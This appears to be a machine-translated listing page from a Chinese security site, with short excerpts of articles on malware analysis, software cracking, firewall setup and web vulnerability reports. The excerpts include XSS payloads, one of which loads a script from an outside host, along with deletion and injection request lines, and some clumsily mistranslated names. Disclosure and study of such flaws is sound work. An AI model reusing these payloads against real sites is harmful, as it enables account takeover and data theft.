MBR virus analysis

I. Basic Knowledge1. Windows Startup Process The system boot process consists of the following steps)1. Start the instance;2. BIOS Power-On Self-Test (POST --- Power On Self Test). The memory address is 0fff: 0000;3. Read the first Sector of the

Technical analysis: How can I seduce you into handing over your password?

I. Basic Information   Figure 1 virus program iconThis is a hacker who focuses on the theft of Q coins and uses UPX as the shell.Typical behavior:1. on the machine that logs on to QQ, QQ will quit inexplicably;2. Sometimes, a color abnormal

Iptalbes automatically blocks IP addresses of Qmail system users

Today, we found that the Qmail mail system's maillog contains a large amount of "user not found" information, which is not difficult to find through the following logs, it is the information that fails to authenticate the Qmail email system for many

Iptables 1.4.7 practical application

As needed, the following ports can be accessed from the Internet: 80, 14490, 14500, 14460, 14470, and 24461External ports accessible to the server: 80 and 25Considering the remote management interface, add port 22 and allow port 53 for Internet

Build an HIPS security wall by yourself

HIPS is short for Host-based Intrusion Prevention System, namely Host-based Intrusion defense System. Compared with conventional anti-virus software, HIPS is an active defense system. It takes processes as the core. By editing specific rules, it

Detailed cracking process of qq Sixth Sense

Dream from 0kee OD loading/obviously UPX.0047AE50> $60 pushad0047AE51. BE 00B04400 mov esi, 0044B0000047AE56. 8DBE 0060 FBFF lea edi, dword ptr [esi + FFFB6000]0047AE5C. 57 push edi0047AE5D. 83CD FF or ebp, FFFFFFFF0047AE60. EB 10 jmp short 0047AE720

Several cross-Permission bugs and fixes of the graph worm network

Test with http://tuchong.tuchong.com/2894994/  Search: Data-note-id = "2532245" is similar Http://tuchong.tuchong.com/api/comment/delete/ POST sending Note_id % 5B % 5D = 2532245    Deleted.Www.2cto.comHttp://tuchong.com/messages/211/ 211 view

Huawei Network Disk Storage XSS, which can load external JS

I am sorry,In the "Resource Description" area, the submitted content parameter is not strictly filtered, resulting in XSS.Vulnerability code:Var B = document. createElement ('script ');B. type = 'text/javascript ';B. src = 'HTTP: // www.2cto.com/db.

Program Verification login security issues

Security issues related to asp program login verification First read a piece of codeIf Request. cookies (CookiesKey) ("xxxxxxadmin") = "" thenCall ERRORMESSAGE ()Response. End ()End if%> This is a piece of login verification code. The error message

Several Problems of the SongCMS enterprise website building Background Management system cause getshell and repair

Program introduction:SongCMS is a website background management system based on ASP + ACCESS/SQL technology,Suitable for general programmers to develop a variety of personalized enterprise network sites, detailed notes for databases and call

77 anger and 77 XSS Cases

I saw a summary of an XSS from a website. It was actually an image version. What's the use? I am dizzy. I flipped through the original post. The one above T00Ls is also reproduced, the source cannot be found. You are welcome to claim it. (1) Common

Tsinghua University continuing education institute SQL Injection

Since Tsinghua University's Continuing Education Institute uses the SQL assembly method in the background and does not filter user input, there is a risk of SQL injection. Any browsing of one of the articles, such as

ShopEx foreground SQL Injection shell and repair

0x1 arbitrary Background File DeletionDelete other templates from the template list and use burp to capture packages. GET/shopex/shopadmin/index. php? Ctl = system/template & act = remove & p [0] = testacccc & _ ajax = true & _ ss = goods, setting,

07073 modify the password of any user on the game Network

You only need to enter an EMAIL address to retrieve the password.First, we should find a target in the forum. Well, it's him, ID1, and modern people who are outdated. We entered the outdated modern people in the pass retrieval password field and

Suning Tesco weak passwords for sensitive information

The Suning Tesco password retrieval page generates weak passwords and sends them to the user's mailbox.Suning Tesco password retrieval seems to be more than one entry, such as through this entry:

XSS security problems and prevention

Cross-site scripting is short for CSS, but because CSS has been widely used in the field of web design ), therefore, Cross is abbreviated to X with similar pronunciation. However, early files still use CSS to represent Cross-site

Multiple alternative XSS vulnerabilities in Renren

1. http://browse.renren.com/s/all? Limit = 10 & p = % 5B % 7B % 22 t % 22% 3A % 22 high % 22% 2C % 22 name % 22% 3A % 22x % 22% 2C % 22 year % 22% 3A2012% 7D % 2C % 7Ba % 3 Aalert % 28document. cookie % 29% 7D % 5D & s = 0 & ref =

Good boy uploads xss + arbitrary files somewhere

Some parts are used for task filtering and stored xss. Some parts are also used for filtering, so that arbitrary files can be uploaded.1. After registering an account, click the photo album module to upload the imageRight-click to view source

Dedecms latest two vulnerabilities and repair methods

DedeCms is well known for its simplicity, practicality, and open source. DedeCms is the most well-known PHP open source website management system in China and the most popular php cms system, after more than two years of development, the current

Php manual injection MYSQL5.0 Injection

We use examples to illustrate the manual injection of PHP websites. I personally feel that graphic tutorials are more intuitive than videos, but the example websites are more practical. Tools used: google snoopUse statement: site: heib0y.com inurl:

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